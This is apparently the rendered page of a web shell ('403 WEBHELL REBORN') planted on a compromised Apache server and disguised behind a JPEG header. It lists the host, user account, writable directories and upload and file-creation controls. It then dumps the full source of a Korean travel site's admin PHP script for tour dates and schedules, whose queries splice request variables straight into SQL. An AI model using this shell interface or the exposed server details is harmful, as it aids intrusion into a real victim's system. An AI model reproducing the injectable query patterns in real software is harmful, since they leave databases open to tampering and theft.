ÿØÿà JFIF  ` ` ÿþš 403 WEBHELL REBORN
403 WEBHELL REBORN
Server : Apache
System : Linux ruga7-004.fmcity.com 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64
User : tkt_travelbus ( 1137)
PHP Version : 7.0.0p1
Disable Function : mysql_pconnect
Directory :  /tkt_travelbus/www/toadmin/good/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

Buat Folder Baru:
Buat File Baru:

Current File : /tkt_travelbus/www/toadmin/good/good_date_schedule_proc.php
<?php
include "../include/top_proc.html";
include "_common.php";

if(devCookie()){
    p($_POST);
    p($SqlType);
}



$tbName = "TB_GOOD_DATE_TYPE";

if($SqlType == 'update'){

    $dtid = (int) $dtid;

    if($dtid > 0){
        $sql = "UPDATE {$tbName} SET date_type_schedule = '{$ScheduleText}' WHERE dtid= {$dtid}";
        if(db_query($sql)){
            echo "s";
        }else{
            echo "f";
        }
    }

    error_msg("location.href='/toadmin/good/good_date_schedule_edit.html?{$params}'","script");
}


//아래는 안씀
exit;

$table = "date";

$d_content = insert_smart($d_content);
$d_g_special = insert_smart($d_g_special);
$d_g_special_mo = insert_smart($d_g_special_mo); //[son]
$d_g_inclusion = insert_smart($d_g_inclusion);
$d_g_noinclusion = insert_smart($d_g_noinclusion);
$d_g_rule = insert_smart($d_g_rule);
$d_g_rule_mo = insert_smart($d_g_rule_mo); //[son]

$ScheduleText = insert_smart($ScheduleText);

// 쌍따옴표,홑따옴표 불가 체크
if($ScheduleTitle) {
    if(	isCheckQuot($ScheduleTitle) == true )
        error_msg("일정표 제목에 쌍따옴표,홑따옴표는 사용불가합니다.");
}

$d_cost1= str_replace(",","",$d_cost1);	// 성인기본상품가
$d_cost2= str_replace(",","",$d_cost2);	// 아동기본상품가
$d_cost3= str_replace(",","",$d_cost3);	// 유아기본상품가
$d_cost4= str_replace(",","",$d_cost4);	// 영아기본상품가

$d_buy1= str_replace(",","",$d_buy1);	// 성인 공급가
$d_buy2= str_replace(",","",$d_buy2);	// 아동 공급가
$d_buy3= str_replace(",","",$d_buy3);	// 유아 공급가
$d_buy4= str_replace(",","",$d_buy4);	// 영아 공급가

$d_agent1= str_replace(",","",$d_agent1);	// 성인 거래처가
$d_agent2= str_replace(",","",$d_agent2);	// 아동 거래처가
$d_agent3= str_replace(",","",$d_agent3);	// 유아 거래처가
$d_agent4= str_replace(",","",$d_agent4);	// 영아 거래처가

$d_money1= str_replace(",","",$d_money1);	// 성인 정상요금
$d_money2= str_replace(",","",$d_money2);	// 아동 정상요금
$d_money3= str_replace(",","",$d_money3);	// 유아 정상요금
$d_money7= str_replace(",","",$d_money7);	// 영아 정상요금

$d_money4= str_replace(",","",$d_money4);	// 성인 대리점요금
$d_money5= str_replace(",","",$d_money5);	// 아동 대리점요금
$d_money6= str_replace(",","",$d_money6);	// 유아 대리점요금
$d_money8= str_replace(",","",$d_money8);	// 영아 대리점요금

$oil_money1= str_replace(",","",$oil_money1);	// 유류할증료 성인가
$oil_money2= str_replace(",","",$oil_money2);	// 유류할증료 아동가
$oil_money3= str_replace(",","",$oil_money3);	// 유류할증료 유아가
$oil_money4= str_replace(",","",$oil_money4);	// 유류할증료 영아가

// 신규항목(2016-12-26.허종)
$d_money4p= str_replace(",","",$d_money4p);	// 성인 정상 판매가 할증 퍼센트(%)
$d_money5p= str_replace(",","",$d_money5p);	// 아동 정상 판매가 할증 퍼센트(%)
$d_money6p= str_replace(",","",$d_money6p);	// 유아 정상 판매가 할증 퍼센트(%)
$d_money8p= str_replace(",","",$d_money8p);	// 영아 정상 판매가 할증 퍼센트(%)

// 신규항목(2016-12-26.허종)
$d_money4= str_replace(",","",$d_money4);	// 성인 정상 판매가(원)
$d_money5= str_replace(",","",$d_money5);	// 아동 정상 판매가(원)
$d_money6= str_replace(",","",$d_money6);	// 유아 정상 판매가(원)
$d_money8= str_replace(",","",$d_money8);	// 영아 정상 판매가(원)

if ($d_oil != "Y") $d_oil = "N"; // 유류할증료 포함(Y) / 불포함(N)
if ($d_tax != "Y") $d_tax = "N"; // TAX 포함(Y) / 불포함(N)

$d_starttime = $d_starttime_1.":".$d_starttime_2; // 국내출발시간
$d_starttime2 = $d_starttime2_1.":".$d_starttime2_2; // 현지도착시간
$d_endtime = $d_endtime_1.":".$d_endtime_2; // 현지출발시간
$d_endtime2 = $d_endtime2_1.":".$d_endtime2_2; // 국내도착시간

// 적립금
if(!$point_yn) $point_yn="N";
$point_buy1= str_replace(",","",$point_buy1);	// 구매액(상품가격) 원당
$point_buy2= str_replace(",","",$point_buy2);	// 원 적립

// 입실일 업데이트 대상 항목 정리
if(is_array($chg_item_arr)) {
    foreach($chg_item_arr as $v){
        $chg_item_arr2[$v] = "Y";
    }
}


// 행사 공통쿼리
if ($SqlType == "date_ins" OR $SqlType == "date_updt") {

    // 대리점
    $d_agent_ga = "";
    if(is_array($agent_seq_ar)) {
        for($i=0 ; $i<count($agent_id_ar) ; $i++) {
            $agent_id = $agent_id_ar[$i];

//            if(devCookie()){
            $agent_dc_rate		= $agent_dc_rate_ar[$i]; //판매처 수수료
//            }


            $agent_price_adult	= str_replace(",","",$agent_price_adult_ar[$i]);
            $agent_price_child	= str_replace(",","",$agent_price_child_ar[$i]);
            $agent_price_baby	= str_replace(",","",$agent_price_baby_ar[$i]);
            $agent_price_infant	= '';

            $buy_dc_rate		= $buy_dc_rate_ar[$i];
            $buy_price_adult	= str_replace(",","",$buy_price_adult_ar[$i]);
            $buy_price_child	= str_replace(",","",$buy_price_child_ar[$i]);
            $buy_price_baby		= str_replace(",","",$buy_price_baby_ar[$i]);

            $agent_comm			= $agent_comm_ar[$i];
            $agent_comm_type	= $agent_comm_type_ar[$i]; // A정액제,B정율제

            if($agent_id) {
//                if(devCookie()){
                $d_agent_ga .= "||".$agent_id."^".$agent_price_adult."^".$agent_price_child."^".$agent_price_baby."^".$agent_price_infant."^".$agent_comm."^".$agent_comm_type."^".$buy_dc_rate."^".$buy_price_adult."^".$buy_price_child."^".$buy_price_baby."^".$agent_dc_rate;
//                }else{
//                    $d_agent_ga .= "||".$agent_id."^".$agent_price_adult."^".$agent_price_child."^".$agent_price_baby."^".$agent_price_infant."^".$agent_comm."^".$agent_comm_type."^".$buy_dc_rate."^".$buy_price_adult."^".$buy_price_child."^".$buy_price_baby;
//                }

            }
        }
    }

    // 담당자
    if ($admin_id) {
        $mem_data = get_member($admin_id);
        $admin_nm = $mem_data['mb_nm'];
    }

    if($d_starttime2_nx!="Y") $d_starttime2_nx="N";
    if($d_endtime2_nx!="Y") $d_endtime2_nx="N";

    // 숙박정보
    $d_good_hotel="";
    for($i=0 ; $i<count($hseq_ar) ; $i++){
        if($hseq_ar[$i]) $d_good_hotel .="||".$hseq_ar[$i]."^".$hotel_nm_ar[$i];
    }

    // 관광지
    $d_good_place="";
    for($i=0 ; $i<count($Iidx_ar) ; $i++){
        if($Iidx_ar[$i]) $d_good_place .="||".$Iidx_ar[$i]."^".$place_nm_ar[$i];
    }

    // 옵션상품
    $d_good_option="";
    for($i=0 ; $i<count($opid_ar) ; $i++){
        if($opid_ar[$i]) $d_good_option .="||".$opid_ar[$i]."^".$op_nm_ar[$i]."^".$op_price_sell_ar[$i]."^".$op_price_agent_ar[$i];
    }

    // 위치정보
    if($d_good_map_x) $d_good_map = $d_good_map_x."||".$d_good_map_y;

    // 쿼리 공통
    $sql_ins .= " ,tour_cond='{$tour_cond}' "."\n"; // ab해외여행,de국내여행

    if($chg_item_arr2['d_starttime']=="Y" or $SqlType=="date_ins") {
        $sql_ins .= " ,d_starttime = '{$d_starttime}' "."\n";
        $sql_ins .= " ,d_starttime2 = '{$d_starttime2}' "."\n";
        $sql_ins .= " ,d_starttime2_nx = '{$d_starttime2_nx}' "."\n"; // [국내]N,Y익일(신규)
        $sql_ins .= " ,d_starttime_see = '{$d_starttime_see}' "."\n"; // 한국출발 A한국기준,B현지기준(신규)
        $sql_ins .= " ,d_starttime2_see = '{$d_starttime2_see}' "."\n"; // 현지도착 A한국기준,B현지기준(신규)

        $sql_ins .= " ,d_plane1_cd = '{$d_plane1_cd}' "."\n";
        $sql_ins .= " ,d_plane1 = '{$d_plane1}' "."\n";
    }

    if($chg_item_arr2['d_endtime']=="Y" or $SqlType=="date_ins") {
        $sql_ins .= " ,d_endtime = '{$d_endtime}' "."\n";
        $sql_ins .= " ,d_endtime2 = '{$d_endtime2}' "."\n";
        $sql_ins .= " ,d_endtime2_nx = '{$d_endtime2_nx}' "."\n"; // [국내]N,Y익일(신규)
        $sql_ins .= " ,d_endtime_see = '{$d_endtime_see}' "."\n"; // 현지출발A한국기준,B현지기준(신규)
        $sql_ins .= " ,d_endtime2_see = '{$d_endtime2_see}' "."\n"; // 한국도착A한국기준,B현지기준(신규)

        $sql_ins .= " ,d_plane2_cd = '{$d_plane2_cd}' "."\n";
        $sql_ins .= " ,d_plane2 = '{$d_plane2}' "."\n";
    }

    $sql_ins .= " ,d_kor_sch='{$d_kor_sch}' "."\n"; // [국내]A당일B무박C숙박(신규)

    if($chg_item_arr2['agent']=="Y" or $SqlType=="date_ins") {
        $sql_ins .= " ,d_agent_ga='{$d_agent_ga}' "."\n"; // 대리점 가격(신규)
    }

    $sql_ins .= " ,d_route = '{$d_route}' "."\n";

    if($chg_item_arr2['d_money']=="Y" or $SqlType=="date_ins") {
        $sql_ins .= " ,d_buy1 = '{$d_buy1}' "."\n";// 성인공급가
        $sql_ins .= " ,d_buy2 = '{$d_buy2}' "."\n";// 아동공급가
        $sql_ins .= " ,d_buy3 = '{$d_buy3}' "."\n";// 유아공급가
        $sql_ins .= " ,d_buy4 = '{$d_buy4}' "."\n";// 영아공급가

        $sql_ins .= " ,d_agent1 = '{$d_agent1}' "."\n";// 성인거래처가
        $sql_ins .= " ,d_agent2 = '{$d_agent2}' "."\n";// 아동거래처가
        $sql_ins .= " ,d_agent3 = '{$d_agent3}' "."\n";// 유아거래처가
        $sql_ins .= " ,d_agent4 = '{$d_agent4}' "."\n";// 영아거래처가

        $sql_ins .= " ,d_cost1 = '{$d_cost1}' "."\n";// 성인기본상품가
        $sql_ins .= " ,d_cost2 = '{$d_cost2}' "."\n";// 아동기본상품가
        $sql_ins .= " ,d_cost3 = '{$d_cost3}' "."\n";// 유아기본상품가
        $sql_ins .= " ,d_cost4 = '{$d_cost4}' "."\n";// 영아기본상품가

        $sql_ins .= " ,d_money1 = '{$d_money1}' "."\n";// 성인판매가
        $sql_ins .= " ,d_money2 = '{$d_money2}' "."\n";// 아동판매가
        $sql_ins .= " ,d_money3 = '{$d_money3}' "."\n";// 유아판매가
        $sql_ins .= " ,d_money7 = '{$d_money7}' "."\n";// 영아판매가

        // 사용자 페이지 출력 유무
        $sql_ins .= " ,d_disp_adult = '{$d_disp_adult}' "."\n";
        $sql_ins .= " ,d_disp_child = '{$d_disp_child}' "."\n";
        $sql_ins .= " ,d_disp_baby = '{$d_disp_baby}' "."\n";
    }

    // 신규항목(2016-12-26.허종)
    if($chg_item_arr2['d_money_normal']=="Y" or $SqlType=="date_ins") {
        $sql_ins .= " ,d_money4p = '{$d_money4p}' "."\n";// 성인 정상 판매가 할증 퍼센트(%)
        $sql_ins .= " ,d_money5p = '{$d_money5p}' "."\n";// 아동 정상 판매가 할증 퍼센트(%)
        $sql_ins .= " ,d_money6p = '{$d_money6p}' "."\n";// 유아 정상 판매가 할증 퍼센트(%)
        $sql_ins .= " ,d_money8p = '{$d_money8p}' "."\n";// 영아 정상 판매가 할증 퍼센트(%)

        $sql_ins .= " ,d_money4 = '{$d_money4}' "."\n";// 성인 정상 판매가(원)
        $sql_ins .= " ,d_money5 = '{$d_money5}' "."\n";// 아동 정상 판매가(원)
        $sql_ins .= " ,d_money6 = '{$d_money6}' "."\n";// 유아 정상 판매가(원)
        $sql_ins .= " ,d_money8 = '{$d_money8}' "."\n";// 영아 정상 판매가(원)
    }

    if($chg_item_arr2['d_money']=="Y" or $SqlType=="date_ins") {
        $sql_ins .= " ,oil_money1 = '{$oil_money1}' "."\n";// 유류할증료 성인가
        $sql_ins .= " ,oil_money2 = '{$oil_money2}' "."\n";// 유류할증료 아동가
        $sql_ins .= " ,oil_money3 = '{$oil_money3}' "."\n";// 유류할증료 유규가
        $sql_ins .= " ,oil_money4 = '{$oil_money4}' "."\n";// 유류할증료 영아가
    }

    if($chg_item_arr2['d_pe_people_inwon']=="Y" or $SqlType=="date_ins") {
        $sql_ins .= " ,d_pe_people_inwon = '{$d_pe_people_inwon}' "."\n";// [단독투어]기준인원
    }

    if($chg_item_arr2['d_people']=="Y" or $SqlType=="date_ins") {
        // 데이투어 공통
        $sql_ins .= " ,d_gr_people_min = '{$d_gr_people_min}' "."\n";// [단체투어]최소행사인원
        $sql_ins .= " ,d_pe_people_unit = '{$d_pe_people_unit}' "."\n";// [단독투어]대/팀

        $sql_ins .= " ,d_people2 = '{$d_people2}' "."\n";
        $sql_ins .= " ,d_people3 = '{$d_people3}' "."\n";
    }

    // 적립금
    if($chg_item_arr2['point']=="Y" or $SqlType=="date_ins") {
        $sql_ins .= " , point_yn= '{$point_yn}' "."\n"; //
        $sql_ins .= " , point_buy1= '{$point_buy1}' "."\n"; // 구매액(상품가격)
        $sql_ins .= " , point_buy2= '{$point_buy2}' "."\n"; // 적립액
    }


    // 행사상태
    if($SqlType=="date_ins") {
        $sql_ins .= " ,d_ok = '{$d_ok}' "."\n";
    }

    // 담당자
    if($chg_item_arr2['admin_id']=="Y" or $SqlType=="date_ins") {
        $sql_ins .= " ,admin_id = '{$admin_id}' "."\n";
        $sql_ins .= " ,admin_nm = '{$admin_nm}' "."\n";
    }

    if($chg_item_arr2['option']=="Y" or $SqlType=="date_ins") {
        $sql_ins .= " , d_good_option= '{$d_good_option}' "."\n";// 옵션상품(신규)
    }

    if($chg_item_arr2['hotel']=="Y" or $SqlType=="date_ins") {
        $sql_ins .= " , d_good_hotel= '{$d_good_hotel}' "."\n";// 숙박정보(신규)
    }

    if($chg_item_arr2['place']=="Y" or $SqlType=="date_ins") {
        $sql_ins .= " , d_good_place= '{$d_good_place}' "."\n";// 관광지정보(신규)
    }

    if($chg_item_arr2['d_good_map']=="Y" or $SqlType=="date_ins") {
        $sql_ins .= " , d_good_map= '{$d_good_map}' "."\n";// 위치정보(신규)
    }

    if($chg_item_arr2['d_content']=="Y" or $SqlType=="date_ins") {
        $sql_ins .= " , d_content= '{$d_content}' "."\n";
    }

    if($chg_item_arr2['d_g_special']=="Y" or $SqlType=="date_ins") {
        $sql_ins .= " , d_g_special= '{$d_g_special}' "."\n";
    }
    if($chg_item_arr2['d_g_special_mo']=="Y" or $SqlType=="date_ins") {
        $sql_ins .= " , d_g_special_mo= '{$d_g_special_mo}' "."\n"; //[son]
    }

    if($chg_item_arr2['d_g_inclusion']=="Y" or $SqlType=="date_ins") {
        $sql_ins .= " , d_g_inclusion= '{$d_g_inclusion}' "."\n";
    }

    if($chg_item_arr2['d_g_noinclusion']=="Y" or $SqlType=="date_ins") {
        $sql_ins .= " , d_g_noinclusion= '{$d_g_noinclusion}' "."\n";
    }

    if($chg_item_arr2['d_g_rule']=="Y" or $SqlType=="date_ins") {
        $sql_ins .= " , d_g_rule= '{$d_g_rule}' "."\n";
    }
    if($chg_item_arr2['d_g_rule_mo']=="Y" or $SqlType=="date_ins") {
        $sql_ins .= " , d_g_rule_mo= '{$d_g_rule_mo}' "."\n"; //[son]
    }
}

// 출발일 생성
if ($SqlType == "date_ins") {

    if (!$g_uid) exit;
    if (!$dtid) exit;

    // 공통쿼리 추가
    $sql_ins .= " ,tab='{$tab}' "."\n"; // 패키지P , 데이투어D
    $sql_ins .= " ,gdt='{$gdt}' "."\n"; // 데이투어>개인투어,단체투어
    $sql_ins .= " ,periodStr = '{$periodStr}' "."\n";
    $sql_ins .= " ,period = '{$period}' "."\n";
    $sql_ins .= " ,d_regdate = now() ";
    $sql_ins .= " ,dtid = '{$dtid}' ";

    // 행사명
    $arr = good_date_type($g_uid,$dtid);
    $d_title = $arr[0]['date_type_nm'];

    // 출발일 개별생성
    if ( $ins_cond=="private" ) {
        $tmp_date = intval($period)-1;// 박
        //$tmp_date = ($tmp_date<0) ? $tmp_date:0;

        for($i=0 ; $i<count($d_start_arr) ; $i++) {
            $d_start = $d_start_arr[$i];
            $enddate = date('Y-m-d', strtotime("+{$tmp_date} day" , strtotime($d_start) ) ); // 도착(귀국)일

            // 동일상품,동일행사,동일출발일 존재
            $sql = "select count(d_uid) as date_count from date where g_uid='{$g_uid}' and dtid='{$dtid}' and d_start='{$d_start}' ";
            $arr_tmp = db_fetch($sql);
            $date_count = $arr_tmp['date_count'];

            if ( $date_count>0 ) { // 동일상품,동일행사,동일출발일 업데이트.
                $sql = "update {$table} set ";
                $sql .= "d_title = '{$d_title}' ";
                $sql .= ",d_start = '{$d_start}' ";
                $sql .= ",d_end = '{$enddate}' ";
                $sql .= ",d_code = '{$d_code}' "; // 행사코드
                $sql .= "{$sql_ins} ";
                $sql .= "where g_uid = '{$g_uid}' and d_start = '{$d_start}' and dtid='{$dtid}' ";
                db_query($sql);

            }else{ //출발일이 없을때 인서트
                $sql = "insert into {$table} set ";
                $sql .= "g_uid = '{$g_uid}' ";
                $sql .= ",d_title = '{$d_title}' ";
                $sql .= ",d_start = '{$d_start}' ";
                $sql .= ",d_end = '{$enddate}' {$sql_ins} ";
                db_query($sql);

                // 행사코드 업데이트
                $insert_id = mysqli_insert_id($connect);
                $d_code = $d_code_h.$insert_id;
                db_query("update {$table} set d_code='{$d_code}' where d_uid='{$insert_id}'");
            }
        }
    }


    // 출발일 자동 생성
    elseif($ins_cond=="auto") {

        // 두날짜사이 값을 배열로 받음
        $data_dt = date_to_date($d_start , $d_end);

        $pre_period = intval($period)-1;  // 박

        for($i=0 ; $i<count($data_dt) ; $i++){
            $row = $data_dt[$i];

            $enddate = date('Y-m-d', strtotime("+{$pre_period} day" , strtotime($row['date']) ) ); // 도착(귀국)일

            for ($j=0 ; $j<count($week_date) ;$j++) { // 요일
                if ( $row['yoil_ord']==$week_date[$j] ) { // 체크된 요일 & 자동입력

                    // 동일상품,동일행사,동일출발일 존재
                    $sql = "select count(d_uid) as date_count from date where g_uid='{$g_uid}' and dtid='{$dtid}' and d_start='{$row[date]}' ";
                    $arr_tmp = db_fetch($sql);
                    $date_count = $arr_tmp['date_count'];

                    if ( $date_count>0 ) {		// 동일상품,동일행사,동일출발일 업데이트.
                        $sql = "update {$table} set ";
                        $sql .= " d_title = '{$d_title}' ";
                        $sql .= " ,d_start = '{$row[date]}' ";
                        $sql .= " ,d_end = '{$enddate}' ";
                        $sql .= " ,d_code = '{$d_code}' "; // 행사코드
                        $sql .= " {$sql_ins} ";
                        $sql .= " where g_uid = '{$g_uid}' and d_start = '{$row[date]}' and dtid = '{$dtid}' ";
                        db_query($sql);
                    } else {			//출발일이 없을때 인서트
                        $sql = "insert into {$table} set ";
                        $sql .= " g_uid = '{$g_uid}' ";
                        $sql .= " ,d_title = '{$d_title}' ";
                        $sql .= " ,d_start = '{$row[date]}' ";
                        $sql .= " ,d_end = '{$enddate}' {$sql_ins} ";
                        db_query($sql);

                        // 행사코드 업데이트
                        $insert_id = mysqli_insert_id($connect);
                        $d_code = $d_code_h.$insert_id;
                        db_query("update {$table} set d_code='{$d_code}' where d_uid='{$insert_id}'");
                    }
                }
            }
        }

    }

    // 행사수정/삭제시에 상품마스터 검색요소 업데이트(2017-02-23.허종)
    db_query("call SP_GOOD_DATE('{$g_uid}')");

    error_msg("opener.goodDateList();alert('생성완료하였습니다.');","script");
}


// 행사수정
elseif($SqlType=="date_updt") {

    // 공통쿼리 추가
    //$sql_ins .= " ,d_people1 = '{$d_people1}' "."\n";

    if(devCookie()){
//        p($_POST);
//        exit;
    }

    if($all=="Y"){
        $sql = "update {$table} set d_regdate=now() {$sql_ins} where g_uid='{$g_uid}' and dtid = '{$dtid}' ";

        db_query($sql);

    }else{
        for($i=0 ; $i<count($d_uid_ar) ; $i++){
            $d_uid = $d_uid_ar[$i];

            if($d_uid) {
                $sql = "update {$table} set d_regdate=now() {$sql_ins} where d_uid='{$d_uid}' ";
                db_query($sql);
            }
        }
    }

    // 행사수정/삭제시에 상품마스터 검색요소 업데이트(2017-02-23.허종)
    db_query("call SP_GOOD_DATE('{$g_uid}')");

//    echo "<script>alert('hi');</script>";

    error_msg("document.location.reload();","script");
    /**
     * author: taeyoung
     * 2022.06.13
     * 아래의 스크립트 오류 발생으로 주석처리.
     */
//	error_msg("opener.goodDateList();document.location.reload();","script");
}


// 행사상태변경(2016-02-12)
else if($SqlType == "date_dok_updt") {

    if(!$g_uid) exit;

    if($all == "Y"){

        $sql = "update {$table} set d_ok='{$d_ok}' where g_uid='{$g_uid}'  and dtid ='{$dtid}' ";
        db_query($sql);

        //행사변경로그저장
        date_modifier($d_ok, $g_uid, $dtid, $d_uid, $TO_MB['mb_id']);

    }else{
        for($i=0 ; $i<count($d_uid_ar) ; $i++) {
            $d_uid = $d_uid_ar[$i];

            if($d_uid) {
                $sql = "UPDATE {$table} SET d_ok='{$d_ok}' WHERE d_uid='{$d_uid}' ";

                db_query($sql);

                //행사변경로그저장
                date_modifier($d_ok, $g_uid, 0, $d_uid, $TO_MB['mb_id']);
            }
        }
    }

    if(devCookie()){

    }else{

    }

    error_msg("parent.goodDateList();parent.to_dialog.close('{$tmp_layer_id}');","script");

}


// 행사 삭제
else if($SqlType == "date_delete") {

    if(!$d_uid_ga) exit;

    $chk_seq=explode(",",$d_uid_ga);

    if($all=="Y"){
        $sql = "delete from {$table} where g_uid='{$g_uid}' and dtid ='{$dtid}' ";
        db_query($sql);
    }else {
        for($i=0 ; $i<count($chk_seq) ; $i++) {
            $d_uid = $chk_seq[$i];
            if($d_uid) {
                $sql = "delete from {$table} where d_uid='{$d_uid}' ";
                db_query($sql);
            }
        }
    }

    // 행사수정/삭제시에 상품마스터 검색요소 업데이트(2017-02-23.허종)
    db_query("call SP_GOOD_DATE('{$g_uid}')");

    error_msg("ajax_loader('good_date_list_ajax.html?g_uid={$g_uid}&dtid={$dtid}&yy={$yy}&mm={$mm}&sales_type={$sales_type}&agent_id={$agent_id}','ajax_start_date');","script");

}


// 행사선택 일정표 수정
else if($SqlType == "schedule_sel_updt") {

    if(!$g_uid) exit;

    for($i=0 ; $i<count($d_uid_ar) ; $i++) {
        $d_uid = $d_uid_ar[$i];

        if($d_uid) {
            $sql = "update {$table} set d_content='{$d_content}' where d_uid='{$d_uid}' ";
            db_query($sql);
        }
    }

    error_msg("parent.goodDateList();parent.to_dialog.close('{$tmp_layer_id}');","script");
}

// 전체행사 일정표 수정
else if($SqlType == "schedule_all_updt") {

    if(!$g_uid or !$dtid) exit;

    $sql = "update {$table} set d_content='{$d_content}' where g_uid='{$g_uid}' and dtid='{$dtid}' and d_start > now() ";

    db_query($sql);

    error_msg("parent.goodDateList();parent.to_dialog.close('{$tmp_layer_id}');","script");
}

elseif($SqlType=="schedule_edit_check") {
    if ( !$g_uid or !$good_SiDX ) exit;

    // 대표일정표 정보
    $tmp_arr = toad_schedule($g_uid," and SiDX='{$good_SiDX}' ");
    $sch_arr = $tmp_arr[0];

    for($i=0 ; $i<count($chk_seq) ; $i++){
        if($chk_seq[$i]){
            // 일정표 개수
            $tmp_arr = toad_schedule($g_uid," and d_uid='".$chk_seq[$i]."' and Sort='1' ");
            $sch_cnt = count($tmp_arr);

            if ( $sch_cnt>0 ) { // 일정표가 있으면, 업데이트
                $ScheduleText = str_replace("'","\'",$sch_arr['ScheduleText']);
                $sql = "update TB_Schedule set ScheduleText='".$ScheduleText."' where g_uid='{$g_uid}' and  d_uid='".$chk_seq[$i]."'";
                db_query($sql);
            }else{// 일정표가 있으면, 인서트
                $ScheduleText = str_replace("'","\'",$sch_arr['ScheduleText']);
                $sql = "insert into TB_Schedule(g_uid,d_uid,Sort,ScheduleTitle,ScheduleText,CreateDay,RegDate) ";
                $sql .= " values('{$g_uid}','".$chk_seq[$i]."','1','".$sch_arr['ScheduleTitle']."','".$ScheduleText."','".$sch_arr['CreateDay']."',now())";
                db_query($sql);
            }
        }
    }

    error_msg("ajax_loader('good_date_list_ajax.html?g_uid={$g_uid}&dtid_s={$dtid_s}&d_start_s={$d_start_s}','ajax_start_date');","script");

}


// 대표일정표로 인서트
elseif($SqlType=="schedule_insert") {

    if ( !$g_uid or !$d_uid or !$good_SiDX ) exit;

    // 대표일정표 정보
    $tmp_arr = toad_schedule($g_uid," and SiDX='{$good_SiDX}' ");
    $sch_arr = $tmp_arr[0];

    // 일정표 개수
    $tmp_arr = toad_schedule($g_uid," and d_uid='{$d_uid}' and Sort='1' ");
    $sch_cnt = count($tmp_arr);

    if ( $sch_cnt==0 ) { // 일정표 없을때만 인서트
        $sql = "insert into TB_Schedule(g_uid,d_uid,Sort,ScheduleTitle,ScheduleText,CreateDay,RegDate) ";
        $sql .= " values('{$g_uid}','{$d_uid}','1','".$sch_arr['ScheduleTitle']."','".$sch_arr['ScheduleText']."','".$sch_arr['CreateDay']."',now())";
        db_query($sql);
    }

    error_msg("to_dialog.iframe('good_date_schedule_edit_iframe.html?g_uid={$g_uid}&d_uid={$d_uid}','[{$d_start2}]일정표 수정','900','700',true,false,'no');","script");
}

// 일정표 생성
elseif($SqlType=="date_create") {

    // 일정표 일수
    $len = ($date_num) ? (int)$date_num : 1;

    // 생성일자
    $d_start = $date_start;

    // 날짜표시
    $chkDay = $chk_day;

    // 일정표 스킨 파일 설정
    $schedule_dir = "../../schedule";
    $schedule_file = $date_skin;
    $schedule_path = "{$schedule_dir}/{$schedule_file}";

    // 일정표 스킨 파일 내용을 가져옴
    if (file_exists($schedule_path)) {
        $f = @fopen($schedule_path, "r");
        $schedule = @fread($f, filesize($schedule_path));
        fclose($f);
    }
    //echo $schedule;

    // 일정표 내용을 정리
    // $match[1] : 일정표 상단
    // $match[2] : 일정표 일차 반복
    // $match[3] : 일정표 하단
    preg_match("/(.*)<!-- 일차 -->(.*)<!-- \/\/일차 -->(.*)/s", trim($schedule), $match);
    //print_r($match); exit;

    // 일정표 상단
    $schedule_top = $match[1];
    //$schedule_top = str_replace("{WIDTH}", $SchWidth, $schedule_top);

    // 일정표 일차 반복
    $schedule_day = "";
    for ($i=1; $i<=$len; $i++) {
        $day_tmp = $match[2];
        $day_tmp = str_replace("{DAY}", $i, $day_tmp);

        //출발일 자동등록을 하는 부분}
        if($d_start && $chkDay == "Y"){
            $set_day = $i-1;
            //출발일에서 일정일에 맞게 일수를 더해서 표시한다.
            $act_date = date('Y-m-d', strtotime("$set_day day", strtotime($d_start)));

            //해당날짜의 요일을 구한다.
            $day_week_text = get_yoil($act_date)."요일";
            $date_text = "<br/><date_str_".$i.">".$act_date."&nbsp;".$day_week_text."</date_str_".$i.">";
            $day_tmp = str_replace("<date_str_".$i."></date_str_".$i.">", $date_text, $day_tmp);
        }

        $schedule_day .= "<!-- {$i}일차 --> \r\n" . $day_tmp . "<!-- //{$i}일차 --> \r\n";
    }

    // 일정표 하단
    $schedule_bottom = $match[3];

    $content = $schedule_top . $schedule_day . $schedule_bottom;

    // 일정표 내용 출력
    echo $content;
    exit;
}

// 일정표 가져오기
elseif($SqlType=="date_recv") {
    if(!$SiDX) exit;

    $arr = toad_schedule(""," and SiDX='{$SiDX}' ");

    // 일정표 내용 출력
    echo $arr[0]['ScheduleText'];
    exit;
}

// 일정표 저장
elseif($SqlType=="dateform_edit") {

    if (!$SiDX) exit;

    $sql = "update TB_Schedule set ScheduleTitle='{$ScheduleTitle}',ScheduleText='{$ScheduleText}', RegDate=now() where SiDX = '{$SiDX}'  ";

    db_query($sql);

    error_msg("location.href='good_date_schedule_edit_iframe.html?d_uid={$d_uid}&g_uid={$g_uid}&tmp_layer_id={$tmp_layer_id}&{$_shref}'","script");
}


// 기본 일정표 수정
elseif($SqlType=="common_dateform_edit") {

    if (!$g_uid) exit;

    if ( $SiDX ){
        $sql = "update TB_Schedule set ScheduleTitle='{$ScheduleTitle}',";
        $sql .= " ScheduleText='{$ScheduleText}', RegDate=now() ";
        $sql .= " where SiDX = '{$SiDX}' ";
    }else{
        $sql = "insert into TB_Schedule ";
        $sql .= " set g_uid='{$g_uid}', ";
        $sql .=" ScheduleTitle='{$ScheduleTitle}',";
        $sql .=" ScheduleText='{$ScheduleText}', RegDate=now(), ";
        $sql .=" Sort='0' ";
    }
    db_query($sql);

    error_msg("location.href='good_date_schedule_edit.html?{$_shref}&{$_href}&g_uid={$g_uid}';","script");
}

// 기본  일정표 저장
elseif($SqlType=="common_dateform_create") {

    if (!$g_uid) exit;

    $sql = "insert into TB_Schedule ";
    $sql .= " set g_uid='{$g_uid}', ";
    $sql .=" ScheduleTitle='{$ScheduleTitle}',";
    $sql .=" ScheduleText='{$ScheduleText}', RegDate=now(), ";
    $sql .=" Sort='0' ";

    db_query($sql);

    error_msg("location.href='good_date_schedule_edit.html?{$_shref}&{$_href}&g_uid={$g_uid}';","script");
}

// 기본 일정표 삭제
elseif($SqlType=="common_dateform_delete") {

    if (!$g_uid or !$SiDX) exit;

    $sql = "delete from TB_Schedule where SiDX='{$SiDX}' ";

    db_query($sql);

    error_msg("location.href='good_date_schedule_edit.html?{$_shref}&{$_href}&g_uid={$g_uid}';","script");
}


?>

Anon7 - 2021